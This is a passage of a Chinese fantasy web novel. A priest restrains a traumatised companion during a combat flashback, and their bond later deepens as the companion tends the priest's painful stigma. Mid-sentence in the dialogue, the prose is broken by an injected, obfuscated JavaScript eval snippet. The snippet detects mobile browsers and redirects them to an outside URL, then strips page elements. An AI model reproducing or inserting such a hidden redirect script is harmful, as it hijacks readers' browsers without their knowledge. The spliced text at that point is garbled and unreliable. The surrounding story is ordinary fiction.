“未!”但的惊呼被淹没在未骤然发动的动作里。未没有冲向星象仪,而是以惊人的速度扑向房间另一侧的阴影角落,仿佛那里存在掩体。他的身体在半空中蜷缩、扭转,右手虚握,做出一个标准的、投掷某种□□的引臂动作——对着空无一物的墙壁。落地,翻滚,起身时,他的右手已经“握”住了并不存在的近战武器,横在胸前,眼神疯狂地扫视着不存在的敌人方位,嘴唇无声地快速开合,像是在和某个只有他能看见的战术频道沟通。 他完全被困在了过去的某个瞬间。 但见过未紧绷,见过未警觉,但从未见过他如此彻底地、崩溃般地陷落。 没有时间思考。但冲了上去。 在未再次做出更危险的虚拟攻击动作前,但用自己的身体,猛地挡在了未与星象仪之间,背对着那三点冰冷的银光,正面迎向未那双失去焦距、只剩杀意的灰眸。 “未!看着我!”但的声音劈开了凝滞的空气,带着罕见的、不容置疑的厉色,“这里没有骑士!” 未的攻击姿态没有丝毫动摇,他的目光甚至没有聚焦在但脸上,而是穿透他,死死盯着他身后那三点光。他虚握的“武器”动了,一个标准的突刺起手式——目标正是但身后星盘上猎户座的位置。 那一瞬间,但做出了选择。他不能退。他猛地伸出双手,不是格挡,而是探入未那充满毁灭性力量的个人空间,精准地、不顾一切地握住了未虚握武器的右手手腕,另一只手则用力按住了未紧绷的左肩。 皮肤相触的刹那,未的身体剧烈一震,像是被真正的攻击击中。他眼中疯狂的杀意出现了一丝裂隙,本能地就要以反关节技巧挣脱、反击。 就是现在! 但没有任何吟唱,意念催动之下,他胸前隐藏的圣痕骤然发烫,数道细微的、带着淡金色光泽的荆棘状光纹从他与未接触的掌心、指尖猛地蔓延出来,瞬间缠绕上未的手腕、手臂,并试图蔓延向他的躯干。这是低阶的神圣束缚,常用于暂时禁锢失控的魔物或陷入狂暴的信徒,带有强烈的镇定与压制精神波动的效果。 “呃——!”荆棘光纹触体的瞬间,未发出一声短促的、痛苦的闷哼。神圣力量带来灼痛般的刺激,这痛楚却像一盆冰水,暂时浇醒了他部分沉沦的神智。 他挣扎,力量大得惊人,但死死抓住不放,荆棘光纹在拉扯中明灭不定,但咬紧牙关维持着。两人的身体在角力中不可避免地紧紧贴在了一起。但能感觉到未胸腔里心脏疯狂擂动的声音,能闻到他身上瞬间涌出的、冰冷的汗味。未的头就抵在他的颈侧,粗重灼热的气息喷在他的皮肤上,每一次挣扎都带着能将人骨头碾碎的力量。 “未!是我!是但!”但的声音贴着他的耳朵响起,压得很低,却字字清晰,“看清楚了!没有敌人!没有徽记!只有我!” 挣扎在持续。荆棘光纹因为但的过度催动和未的抵抗,开始反噬。但感到自己的圣痕处像有烧红的铁丝在烫——这是魔法反噬的征兆。他闷哼一声,但手上的力道丝毫未松。 或许是他的声音,或许是他持续不断、毫无攻击意图的束缚与贴近……未那狂乱的、试图撕碎一切的挣扎力道,终于出现了一丝微弱的、不情愿的衰减。他抵在但颈边的头颅不再用力撞击,粗重的呼吸声里,那骇人的嘶气声渐渐低了下去。 他灰暗的、布满血丝的眼睛,极其缓慢地、一点点地转动,焦距艰难地、一点一点地凝聚在近在咫尺的但的脸上。 “……但?”一个极其沙哑、破碎、几乎不像他的声音,从喉咙深处挤了出来。带着巨大的茫然和残留的惊悸。 “是我。”但立刻回答,声音因脱力和痛楚而微微发颤,但异常肯定。他没有立刻松开荆棘光纹,只是让它们的光芒稍微黯淡了一些,缠绕的力度稍减,但依然存在。“看着我,只看我。你回来了吗,未?” 未的视线终于完全聚焦在但的脸上。他看了看但的眼睛,又极其缓慢地垂下眼,看了看但紧握着他手腕的、因为用力而骨节发白、甚至被荆棘反噬灼伤泛起红痕的手。再看了看自己手臂上那逐渐黯淡下去的淡金色光纹。 他整个人像是突然被抽掉了所有力气,那股支撑着他战斗姿态的、紧绷到极致的疯狂气息,骤然溃散。身体晃了一下,如果不是但还抓着他,他可能已经瘫软下去。 “……松…开。”他极其艰难地吐出两个字,声音低哑得几乎听不见。 但这才缓缓地、试探性地松开了手,也收回了那些荆棘光纹。淡金色的光芒褪去,只在未的皮肤上留下几道浅浅的、很快就会消失的红痕,以及在但自己掌心留下的、更明显的灼伤痕迹。 未站在原地,微微佝偻着背,低着头,看着自己的双手,仿佛第一次认识它们。他的呼吸依旧急促,但已不再是那种战栗的嘶鸣。房间里一片死寂,只有两人粗重不一的呼吸声。 过了很久,未才极其缓慢地抬起头。他的脸色苍白如纸,额发被冷汗浸湿,贴在额角。他没有看星象仪,甚至刻意避开了那个方向。他的目光落在但依旧微微颤抖、带着灼伤红痕的手上,停留了几秒。 但扶着未躺下,心有余悸地坐在床边。未费劲地翻了个身背对他,但是没有刻意远离。 但抬起自己灼痛的手腕看了看,又看向那三点早已熄灭银光的猎户座凹槽,眼神复杂。 接下去几天,未异常沉默,几乎避开所有与但的正面接触,但那种随时会爆发的戾气消失了,取而代之的是一种深沉的、几乎凝固的微妙气氛。他不再靠近放有星象仪的房间角落。 直到几天后的夜晚,但因旧伤与圣痕齐齐发作,疼痛难忍,在房间内低低吸气时,房门被敲响了。 未站在门外,手里拿着一个粗糙的陶罐。他的脸色依旧有些苍白,但眼神是清的,直直地看着但。 但有些意外,起身开门。未站在门外走廊昏暗的光线下,手里拿着一个看起来就很粗糙的灰陶小罐。他的脸色依旧有些苍白,但那双灰色的眼睛是清明的,直直地看向但,没有闪避。 “你的手……那天,你抓住我的时候,很用力。”未开口,声音恢复了平日的语调,但比往常更干涩一些,似乎每个字都经过简单的确认才说出来。“你胸口那里的圣痕,今天看起来比平时暗,波动也不对。是不是更难受了?” 但愣了一下,没想到他观察得这么细。“是有些不舒服,老毛病了。”他侧身让开门。 未走进来,没有多余动作,直接将陶罐放在桌上,打开。里面是研磨得极其细腻的灰绿色药膏,散发出一股清凉微苦的草木气息,夹杂着一丝极淡的、难以形容的矿物味道。“这种药治外伤,还有能量反噬引起的内灼痛。其他修士……那些圣痕位置不好或者负担重的,有时候圣痕发作难受,会偷偷找人从黑市带这个。我看他们用过,很有效。” 他解释药的来源,就像陈述一个简单的事实。然后,他抬起眼,目光落在但的胸口,那里即使隔着衣物,也能隐约感觉到下方皮肤上蔓延的、不自然的微光与纹理。 “你的圣痕,和我在教会看到的其他人不一样。”未继续说,“形状更复杂,延伸的范围也大,光芒的质感……也不一样。它是不是很容易让你受伤,或者消耗你?我……一直都想问。”他顿了顿,似乎在组织最确切的词,“它看起来,不像是完全在保护你。” 这番话直白得让但一时不知如何回应。 未似乎并不需要他立刻回答。他用指尖从陶罐里挖出一小块药膏,那动作谈不上熟练,但很稳。他看向但,眼神平静而坚持:“这个,需要涂在圣痕周围的皮肤上,效果才好。你自己涂,可能有些地方不方便。” 但的脸瞬间有些发热。圣痕蔓延的区域确实有些地方自己处理起来很别扭,但…… “未,这不合适,我……” “你那天拉住我了。”未打断他,声音依旧平稳,但语速快了一点,像是在陈述一个必须完成的逻辑链条,“你用了会伤到自己的方法。你流血了。现在你的圣痕因为那个方法在难受。”他举着沾着药膏的手指,目光毫不退缩,“这个药有效。你需要。我可以帮你涂。” 但看着未干净的眼神,那里面没有杂念,只有一种近乎执拗的“解决问题”的认真。他想起那天未崩溃时,自己不顾一切抓住他的手腕,两人在荆棘光蔓中贴近的颤抖。那是为了把未拉回来。而现在,未在用他的方式,处理这个“后果”。 沉默了片刻,但终于微微呼出一口气,背对着未,开始解开祭司袍上身的系带。衣物褪至腰间,露出从左侧锁骨下方开始蔓延、贯穿胸口、一路斜向延伸至右侧腰腹的复杂圣痕。那痕迹并非皮肤上的浮雕,而是如同活物般嵌在肌理之下,散发着不稳定、时而明亮时而晦暗的微光,周围的皮肤因为能量淤积和旧伤而显得有些红肿发热。 未的目光落在那片显露的圣痕上,停顿了一下。没有惊叹,没有怜悯,只有更仔细的观察,仿佛在评估一片需要处理的地形。他上前一步,指尖带着清凉的药膏,稳稳地落在了但肩胛骨附近、圣痕起始的边缘。 他的触碰一开始有些生硬,力度没有把握好。但肌肉下意识地紧绷了一瞬。 “……太重了?”未立刻停住,问道。 “有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848510|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。轻一些就好。” “嗯。”未的指尖放松了些,重新落下。这一次,他涂抹得非常仔细,沿着圣痕扭曲延伸的路径,一点点将清凉的药膏推开。他的手指温度比药膏高一些,动作算不上温柔,但异常专注,确保每一处发红发热的皮肤都被覆盖到。他的呼吸很轻,喷洒在但的脖颈处。 但最初的不自在,在药膏持续的清凉感和未这种心无旁骛的专注下,似乎真的慢慢缓解了。他能感觉到未的指尖偶尔会因为圣痕下能量的细微涌动而停顿,然后更小心地绕开那些特别灼热的节点。这不是治疗师的手法,没有章法,却因为这份全神贯注而显得格外有效。 房间里很安静,只有药膏涂抹时极其细微的摩擦声,和两人轻缓的呼吸。 “那天……那三颗星。”未忽然开口,声音就在但耳后不远,平静地陈述着,“穆希纳什骑士的盔甲肩部,有类似的、会按固定频率闪烁的冷光点。不是装饰。闪烁模式代表小队状态、接敌警告、或者……处决倒计时。看到那种特定排列的闪光,意味着要么立刻找到并杀掉闪光来源,要么就在下一秒被远程狙杀。没有第三种选择。”他停顿了一下,指尖在但肩胛骨下方一块面积较大的红肿处多停留了一会儿,均匀地抹开药膏。“我看到了那个排列。身体自己就动了。不是我想的。” 但静静地听着,感受到药膏带来的清凉正慢慢渗入皮肤,缓解着深处的灼痛,也仿佛在缓解未话语里那份冰冷的残酷。 “谢谢你告诉我。”但低声说。 未没有回应这句感谢,似乎觉得这是不需要感谢的信息交换。他继续着手上的工作,直到将圣痕周围所有发红的区域都仔细涂抹了一遍。完成后,他后退一步,将陶罐盖子拧好。 “每天睡前涂一次。这个罐子里的,大概够用五天。”他交代道,语气平常得像在说明一件工具的使用期限。“我明天还来帮你,你衣服穿好,别着凉。” 但拉起衣服,系好衣带,转过身。未已经拿起了陶罐,看样子准备离开。 “未。”但叫住他。 未在门口停下,回过头。 “……药很好。感觉舒服多了。”但说,目光温和。 未看了看他,又迅速移开视线,落在自己手中的陶罐上,几不可察地点了一下头。“嗯。”他应了一声,打开门,走了出去。门关上的声音很轻。 但站在房间里,胸口那片清凉在持续扩散,缓解着长久以来的隐痛。他想起未刚才的话,想起他执意帮忙涂药时直接的眼神,想起他解释那三颗星时的平静语气。 未没有沉默。他只是换了一种更直接、更坦诚的方式在“说话”。他在用行动和事实,笨拙地修补那天激烈碰撞后留下的裂痕,也小心翼翼地触碰着但身上他所不理解、却一直看在眼里的痛苦。 这确实,是一个全新的开始。 …… 星象仪事件后的日子,如同被投入一颗石子的深潭,表面的涟漪看似逐渐平复,但深处的水流却悄然改变了方向。未不再刻意避开但,甚至偶尔会出现在但半敞的房门外,不进去,只是站在那里,像是在确认什么,又或者仅仅是“路过”。有时是清晨,但刚整理好仪容准备开始一天的工作,一抬眼就能看见未沉默地倚在门框边,灰色的眸子安静地落在他身上;有时是午后,但埋首于古籍或报告时,能感觉到门口投来一道目光的重量,停留片刻,又无声地移开。 这种出现毫无规律,也并非总是伴随着交流的意图。未只是存在,像一片习惯了漂泊的阴影,第一次尝试在某个固定的光源附近徘徊,不是为了取暖,更像是一种无声的标记,或者一种连他自己都未必清晰认知的、对“锚点”的本能靠拢。 但从最初的讶异到渐渐习惯。他学会了不去刻意招呼,只是继续手头的事,偶尔抬头对上未的视线,便轻轻颔首,或者问一句无关紧要的话:“今天天气好像不错”,或者“厨房好像烤了派”。未有时会简短地“嗯”一声,有时干脆没有回应,只是又站一会儿,然后像来时一样悄无声息地离开。 但开始察觉到,未对他的不抗拒背后,是一种近乎放任的、甚至带着点自暴自弃意味的坦诚。这种坦诚只针对某些领域。 有一次,但正在整理一批新送来的、关于边境地区古代魔文遗迹的残破拓片,未照例出现在门口,目光却被但手中一片描绘着某种残酷献祭仪式的图案吸引了。他走了进来,在但身旁站定,俯身看着那片拓片。 “这种捆缚方式,”未忽然开口,手指虚点着图案中祭品被束缚的细节,“绳结打在第三和第四肋骨间隙,绕过肩胛骨下缘,不是为了固定,是为了在挣扎时通过杠杆原理逐渐压迫肺部,最终导致窒息。效率不高,但痛苦很持久。” 他的声音平静无波,像在描述一种工具的使用方法。但心头一凛,抬头看向他。 未迎着他的目光,脸上没什么表情:“我见过。在地下拍卖场,用来处理不听话的‘商品’。后来那个拍卖场被一伙流窜小帮派端了,主持仪式的人和大部分客人都死了。我就在外面,委托任务是负责警戒和清理漏网的守卫。” 他没有等但追问,继续说了下去,语气平淡得像在复述别人的经历:“那天很冷,雪把血迹盖得很快。结束后分到的报酬不多,但够买一把新的、带血槽的短刀,和足够支撑两周的压缩营养剂。”他顿了顿,补充道,“那把刀后来被某人的长矛戳碎了。” 但沉默地听着,手中的拓片变得沉重。他知道未在陈述事实,没有炫耀,没有忏悔,甚至没有多少情绪起伏。这更像是一种……交底。把他能说的、觉得可以拿出来“解释”自己的一部分,摊开在但面前。仿佛在说:看,这就是我经历过的一些碎片。肮脏,残酷,但这就是构成“我”的部分真实。你接受与否,它都在那里。 当但尝试将话题引向更深处,比如未那些异于常人的战斗本能是如何训练出来的,或者他是否还记得更早以前、关于出身或家庭的任何线索时,未就会立刻沉默下来。那层刚刚掀开一角的帷幕会迅速合拢。他不会找借口,不会撒谎,只是用那双灰色的眼睛看着但,眼神里有一种近乎顽固的空白,或者是一种更深沉的、连绝望都算不上疲惫。那是守口如瓶的领域,是连他自己或许都已刻意遗忘、或本能地判定为“绝对不可交出”的禁地。有时,但甚至能感到一丝极淡的歉意从未身上散发出来——不是对隐瞒的抱歉,而是对“无法满足但的探究”这件事本身,感到的一种无力的遗憾。 这种矛盾的状态,但清晰地感知到了。未在他身边感到舒服。这不是未用语言表达的,而是但从无数细微之处观察到的结论。当但阅读或书写时,未偶尔会拿起但放在一旁、关于草药或基础符文的入门书籍翻看,眉头微蹙,神情专注;当但因为处理棘手的文书而烦躁地揉眉心时,未不知何时泡好了一杯温度适中的茶,默不作声地放在他手边,然后迅速走开,仿佛什么都没做。 这种舒服,未自己未必能精准定义,但他能清晰地比较出来。和博士不同。博士给予过关注,甚至某种扭曲的温情,但随之而来的永远是实验、测试、评估和随时可能出现的反悔。他会撤回关注,施加惩罚,或者将他推向更危险的境地。温情是诱饵,是控制杆。和教会里其他修士也不同。他们或许保持礼貌,给予基本的生活所需,但这是一种职责性的、带有隔离色彩的“妥善对待”。和黑市的商贩、雇主更不同。那里只有赤裸裸的利益和货币交易,一切明码标价,包括他的技能、他的身体、他的痛苦。情感是多余的,甚至是危险的弱点。 不过在但这里,未感到一种前所未有的中间状态。但会制止他的危险行为,会试图引导他适应规则,但出发点似乎不仅仅是职责和恐惧。但也会流露出真实的疲惫。但在他面前,不完全是一个完美的引导者符号。而但给予的包容,对他沉默的耐心,对他偶尔笨拙“表达”的接受却让未感觉到,这其中有一丝是给“未”这个个体本身的,而不是仅仅给“消灭了异邦骑士团的战略核武器”。 未不是傻子。博士教过他“爱”是什么。不是通过温情脉脉的教诲,而是通过展示其反面——控制、占有、利用、以及以爱为名的伤害。博士也曾对他产生过某种偏执的兴趣,那种混杂着探究欲、掌控欲和一丝扭曲欣赏的情感,博士称之为爱。未目睹过博士对其他实验体的所谓关爱如何迅速转变为残忍的抛弃。他也曾在黑市最肮脏的角落,为了活下去或换取必要资源,与人发生过纯粹的、交易性质的性关系。他见过各种极端的关系形态:从彻底的奴役到病态的依存,从短暂的抱团取暖到背后毫不犹豫的捅刀。 所以,当未审视自己心中对但逐渐滋生出的这种依赖、关注、以及想要靠近、想要确认对方安好的冲动时,他能够相对冷静地对其进行归类和分析。这种感情很特殊,不同于对博士那种混杂着恐惧、习惯和扭曲期待的复杂羁绊,更不同于那些毫无情感色彩的□□交易。它更……干净?也更让人无措。它让他想要做点什么,不是为了换取什么,只是觉得“应该”或者“但可能需要”。 未不是羞于承认自己感情的人。在生存是唯一命题的世界里,羞耻感是奢侈品。他能够直面自己的欲望、恐惧,也包括这种逐渐清晰的、对但的独特情感。他可以对自己承认:我在意但。看到他痛苦不舒服。愿意为他做一些麻烦的、没有直接回报的事。和他待在一起时,神经不必时刻绷在断裂的边缘。这大概就是博士曾经试图扭曲定义、而黑市完全不屑一顾的某种正向情感联系。 他承认了。 但承认之后,是更深、更冰冷的无力感。 表达了又能怎么样呢? 这个念头像一块巨石,沉甸甸地压在他所有细微的情感萌动之上。他想象过几种可能:告诉但自己的感受。但可能会惊讶,可能会回避,也可能会……接受?但即便接受,然后呢? 他可以想象一种画面:他们或许能在一起。以某种不为教会明面允许、但可以私下维系的方式。他可以帮助但处理一些但不方便出面的麻烦——他精于此道。但可以继续照顾他,教他更多这个世界的规则,或许真的能帮他在教会这套庞大的机器里,找到一个不起眼但安稳的缝隙,谋得一个身份,一个位置。他们可以分享同一屋檐下的时光,像现在这样,但看书,他待在一边;但处理文书,他也许能学着帮忙整理;但旧伤发作,他去找药或者……别的什么。 这画面甚至偶尔会让他死寂的内心泛起一丝极其微弱的、连渴望都算不上的涟漪。 但是。 但是会死的。 这个认知冰冷而绝对。但是人类,是血肉之躯的祭司,会生病,会受伤,会衰老。而他自己……不会。过往无数濒临绝境的经历都隐约印证了这一点。仿佛有什么东西捆缚着他的灵魂,不让他轻易解脱。 那么,即使但接受了他,他们之间注定是一场终点清晰的陪伴。他看着但从青年走向中年、老年,最终走向死亡。而他自己,可能依旧停留在这副伤痕累累的躯壳里,带着关于但的所有记忆,再度坠入无尽的、没有但这个锚点的虚无和漂流之中。到那时,现在的这点舒服和在意,是否会变成更漫长痛苦的折磨之源? 想到这一点,未就觉得一切表达和行动都失去了意义。就像精心建造一座沙堡,明知潮汐迟早会来,那种建造过程中的专注和短暂喜悦,也蒙上了一层灰暗的预知色彩。 未待在这里,现在,只是因为不知道下一步要怎么走。教会暂时提供了庇护(或者说囚笼),但提供了一种相对稳定、无需时刻厮杀的环境。而但的存在,让这个环境变得可以忍受,甚至有了些许积极的意义。但这更像是一个暂停,一个迷茫旅途中的临时歇脚点。他看不到清晰的未来路径,也不知道当教会对他的观察得出某个结论,或者但的职责发生变动时,自己该何去何从。这种对未来的无望,进一步加剧了他情感上的无力感。既然注定是过客,既然终点早已写就,那么投入感情,无论是表达还是接受,都显得徒劳而危险。 与此同时,但的内心也经历着复杂的波澜。他同样敏锐地察觉到了未的变化,以及两人之间流动的那种特殊氛围。这不像朋友。朋友之间不会有如此深重的生命重量交织,不会有这种一方承载着惊人黑暗过去、另一方肩负着观察引导职责的微妙平衡,更不会有那些无声的、跨越正常社交距离的关怀与依赖。 但想更重视未。这种重视超越了祭司对引导对象的责任,掺杂着越来越多的个人关切、怜惜,以及一种被未那种奇特本质所吸引的兴趣。他喜欢未身上那种矛盾的气息——极度危险与偶尔流露的笨拙纯稚并存,冰冷的实用主义下藏着未曾完全泯灭的、对善与安宁的微弱向往。未像一面破碎又重新拼合的镜子,映照出世界残酷的棱角,又偶尔折射出一丝意想不到的、属于生命本身的坚韧微光。这光芒吸引着但,让他想要保护,想要看清,想要……靠近。 然而,未一直的隐瞒,像一道无法逾越的沟壑,横亘在但想要完全信任的道路上。但信任未不会伤害自己,但这种信任是有限度的,它建立在“当前情境下”和“针对但个人”的基础上。未的能力源头、他真正的身世、他背后是否还有未知的牵连或威胁……这些巨大的空白,让但无法将自己完全交付,也无法在教会的审视面前,为未争取更多、更稳固的立足之地。他需要更多信息来评估风险,不仅仅是未对他人的风险,更是未自身所承载的、可能反噬他自己的风险。未的守口如瓶,某种程度上是将但置于一个两难境地:情感上想要相信和帮助,理智上却不得不保留疑虑和谨慎。 更现实的压力来自于时间。这段相对平静、允许他们这种特殊相处模式存在的假期并非永恒。但清楚教会的运作方式。初步评估结束后,要么是对未的安排提上日程,要么是但的职责发生变动。眼下这种朝夕相对、拥有相当自主互动空间的状态,就像偷来的时光,注定会被打破。 但对此感到忧虑,甚至有一丝隐痛。他习惯了未的存在,习惯了房间里多一道沉默的身影,习惯了去解读未那些无声的语言。他不敢深想假期结束后的分离,那不仅仅意味着职责的完成,更意味着一种已经悄然扎根的联系被强行撕裂。他知道自己可能会不舍,而这种不舍,已经超出了祭司应有的范畴。 两人之间最根本的不同,或许就在于对“喜欢”或“爱”的认知滤镜上。 但成长于相对规整的环境,尽管见过教会内部的倾轧和世间的苦难,但他对亲密情感仍保留着一种理想化的、未被彻底玷污的期待。他的喜欢带着探索的温柔,带着想要呵护的冲动,带着对可能性的憧憬。他会因为未的靠近而心跳微妙加速,会因为未难得的、直白的关切而心头温暖,也会因为未的隐瞒和未来的不确定性而感到烦恼和一丝伤感。他的情感世界,尚未被彻底冰封,仍有正常的悸动和期盼。 而未,则早已心死。不是没有情感能力,而是对情感的结果彻底不抱希望。博士的“教育”和黑市的经历,将他对于爱、喜欢、亲密关系的认知,彻底与痛苦、控制、背叛、短暂、交易捆绑在一起。他能识别自己心中对但产生的,是相对最接近正面定义的情感,但他无法相信这种情感能导向任何美好的、持久的未来。就像一个人清楚地知道自己正在饮鸩止渴,但因为这片刻的不渴太过真实,也只能继续饮下去,同时清醒地等待毒发时刻的到来。 这份关系如同在冰层上燃起的微弱篝火,两人围着它汲取短暂的暖意,但都心知肚明,冰层之下是深不可测的寒渊,而冰层本身,不知何时会碎裂。在假期结束的钟声敲响之前,他们能做的,或许只是继续维持这脆弱的平衡,在沉默的陪伴和有限的交心中,品尝这份独特连接带来的、混杂着苦涩与微甘的复杂滋味。 26. 【十二】间章 圣痕在皮肤下低吟,像是埋藏在血肉深处的、永不会停歇的古老钟摆。但能感觉到它的脉动,尤其是在夜晚,当万籁俱寂,属于祭司的职责面具被暂时卸下时,那诅咒的纹路便格外清晰地在锁骨下蔓延,带来一阵阵温热而顽固的灼痛。这不是纯粹的痛楚,更像是一种提醒——提醒他血脉里的枷锁,提醒他命运中既定的监视与献祭,也提醒他,时间正在以一种无法逆转的方式流逝。 距离那份临时授权的评估期结束,还有十七天。 这个数字像烙铁一样烫在但的思维深处。十七天后,蓝戈主教将审阅所有的观察记录,裁判所和内务监察的代表将出席会议,然后对未的未来做出“妥善安排”。可能是更高级别的收容研究,可能是派遣到某些“需要特殊能力”的边境冲突地带,也可能是……基于风险评估过高的“最终处理”。但无法预测,他唯一能确定的是,眼前这种脆弱而奇异的平衡,这种允许未在沉默中修补自己、允许他在一旁以“观察”为名行“守护”之实的日子,即将终结。 未似乎也察觉到了某种倒计时的迫近。他的“自暴自弃”式的坦诚没有减少,反而增加了一种近乎贪婪的观察强度。他不再仅仅满足于在门口徘徊或蜷在角落,他开始更直接地介入但的日常。 例如现在。 但正试图解读一份来自东部教区、关于某种罕见魔性植物孢子的报告,那些复杂拗口的古魔文学名让他太阳穴隐隐发胀。未悄无声息地走到桌边,没有坐下,只是站着,目光落在摊开的卷宗上。过了片刻,他伸出一根手指,点在报告边缘一幅模糊的孢子显微素描旁。 “这个,”未的声音平稳,带着他特有的、陈述事实的语调,“不是这蘑菇的变种。孢子囊壁的网状纹路是人工刻的,为了模拟自然生长纹理。真正的‘夜光蕈’孢子在第三成熟期,网状结构会呈现左旋,而这个素描是右旋。” 但愣了一下,仔细对比素描和文字描述。未说的细节,报告中只字未提。“你怎么知道?” “我见多识广。”未回答,目光没有从素描上移开,仿佛在回忆某个具体的场景,“之前有人用这种伪造的孢子样本,掺进真正的药用蘑菇粉里,卖给过往的商队和缺乏经验的教会采集员。掺假比例超过规定剂量,就会导致服用者产生幻觉,看见‘圣光指引’,实际是神经毒素引发的颞叶异常兴奋。”。 他又一次轻易地掀开了自己过往的一角,那片泥泞、危险、充满欺诈与死亡的地带。但感觉喉咙有些发干。未的这种“知识”总是与血腥、欺诈或生存直接挂钩,像用荆棘和腐土浇灌出的畸形的花。 “所以这份报告的价值存疑?”但问,暂时将评估期的压力放在一边。 “至少这部分存疑。”未肯定道,“如果你想确认,可以把报告里提到的采集坐标和黑市走私者常用的几个伪造窝点坐标对比。大概率有重合。”他说话时,身体微微前倾,手指无意识地划过羊皮纸的边缘,留下一道几乎看不见的指痕。这个姿态里,有一种罕见的、属于“提供有效信息者”的专注。 但捕捉到了这丝意味,心头微微一涩。未在用自己的方式,增加他留在这里的价值。 “谢谢。”但轻声说,将报告合上,“这个信息很重要,能避免可能的误判和资源浪费。” 未似乎点了点头,幅度小得难以察觉。他没有立刻离开,而是将目光转向但桌上另一叠文件——几份关于教会下季度物资调配的草案。他看了一会儿,眉头蹙起。 “后勤第三分队的预计损耗率,比去年同期草案高了百分之十五。”未忽然说,“但今年同期,第三分队负责的区域没有大规模冲突报告,只有三次小规模边境摩擦,且敌方没有使用新型腐蚀性或穿透性装备。这个损耗率增幅没有对应的事件支撑。” “可能是统计口径调整,或者包含了非战斗损耗?”但提出可能性。 “草案脚注里说明了统计标准与去年一致。”未立刻指出,“非战斗损耗,如训练磨损、自然老化,在附件C的表格里有单独列出,趋势平稳。所以,这百分之十五的异常增幅,要么是数据错误,要么……”他停顿了一下,他看向但,“要么是有人提前预支了损耗额度,为某些未列入当前草案的‘计划外行动’做准备。” 这个推测让但的后背窜起一丝凉意。 “我会留意这个。”但郑重地说,将那份物资草案单独抽了出来。他感到一种复杂的情绪:欣慰于未的敏锐和愿意分享,恐惧于这敏锐所揭示的可能黑暗,更沉重的是,他知道未展示的这些“价值”,在教会那套评估体系里,可能会被解读为“危险的心智能力”或“对教会内部事务的过度关注”。 未完成了他的“信息提供”,似乎松了口气,又像是耗尽了某种气力。他退后两步,重新将自己隐入房间的阴影里,恢复成那个沉默的背景。但看着他,忽然很想问:你展示这些,是希望我认为你有用,还是希望我认为你可控?抑或,你只是习惯了在每一个可能的地方,为自己寻找生存的缝隙,而向我展示“用处”,是目前你唯一能想到的缝隙? 但他没有问。有些问题一旦问出口,就会打破眼下这种靠着无数未言明的默契维持的平衡。 夜晚,但的圣痕灼痛变得明显,尤其在胸口正中的位置,仿佛有炭火在皮肤下阴燃。他解开祭司袍上身的系带,就着昏暗的烛光,查看那片蔓延的纹路。微光在不稳定地跳动,周围的皮肤泛着不正常的淡红。他叹了口气,伸手去拿未之前给的药膏罐子,却发现里面已经见底。 几乎就在他放下空罐的同时,敲门声响起。 未站在门外,手里拿着一个新罐子,比他之前给的更粗糙,似乎是临时用某种软石挖凿而成,密封得不算完美,隐约有药膏的气味逸出。 “你之前的用完了。”未陈述道,目光快速扫过但敞开的衣襟和泛红的圣痕区域,然后迅速移开,但并没有退走的意思,“我重新配了一些。甘菊和薄荷的比例调整了,加了点岩洞深处才有的冷苔粉,镇痛的原理不一样,可能对你这种……能量淤积型的灼热更有效。” 但看着他,心中那复杂的情绪再次翻涌。未不仅记得他药膏快用完了,还根据对他圣痕痛苦的观察,改进了配方。他甚至去采集了新的、可能不易获得的原料。 “谢谢,”但接过罐子,指尖触碰到石罐冰凉的表面和未温热的手指,一触即分,“‘冷苔’……采集危险吗?” “不远。教堂后山背阴的岩缝里有。晚上去,不容易被巡山的修士看到。” 但打开罐子,里面是墨绿色、质地更细腻的药膏,气味清凉刺鼻,比之前的更强烈。他用指尖挖了一点,尝试涂抹在锁骨下最灼痛的位置。 未一直站在门口观察着他的反应,看到他眉宇间短暂的舒展,自己紧绷的肩膀也放松了一毫。 “要帮忙吗?”未忽然问,声音比平时低,“你背后和腰侧的部分,自己涂可能不方便。” 但的手指顿住了。上一次未帮他涂药,是在星象仪事件后,那更像是一种基于后果处理的笨拙补偿。而这次……这次似乎不同。未的提议听起来如此自然,又如此……主动。 沉默在两人之间蔓延了几秒。烛火噼啪轻响。 “……好。”但最终轻声应道。他感到自己的耳根有些发热,这热度与圣痕的灼痛交织在一起,形成一种奇异的感官混合。 未走了进来,脚步声轻得几乎听不见。他停在但身前,但没有立刻动作。但能感觉到未的目光落在他裸露的胸口,那里圣痕的纹路如同诡谲的藤蔓,从心口向下蜿蜒,没入腰际的衣物之下。 未的动作比上一次熟练了一些,力道控制得更均匀。他沿着圣痕扭曲的路径,缓慢而稳定地将药膏推开,指尖偶尔会因为触及能量特别活跃、皮肤温度明显偏高的节点而微微停顿,然后更加小心地绕开或轻轻按压,将更多的清凉导入。 但闭上眼,感受着那陌生的触感和确实有效的缓解。未的手指带着薄茧,有些粗糙,但动作却异常专注。他能感觉到未的呼吸,平稳而轻浅,就在他颈后不远处。房间里安静得只剩下药膏涂抹时细微的摩擦声,和他自己逐渐平缓下来的呼吸声。 “这个圣痕,”未忽然开口,声音近在咫尺,依旧平稳,但似乎多了一丝探究,“它疼起来的时候,是像烧,还是像里面有东西在钻?” 但没想到他会问得如此直接。大多数人要么避而不谈,要么只会空洞地说些“愿主减轻你的痛苦”之类的话。 “都有。”但如实回答,“大多数时候是持续的灼烧感,像低阶的火系魔法余烬留在体内。但有时候,尤其在月圆之夜或者我过度使用治愈魔法后,会有一种……被撕扯、被填充的感觉,好像有什么不属于我的东西,想从这纹路里钻出来,或者钻进去。”他描述着这难以向外人道的痛苦,语气平静,却感到一种奇异的释放。向未诉说这些,似乎没什么负担,因为未不会给予廉价的同情,只会接收信息。 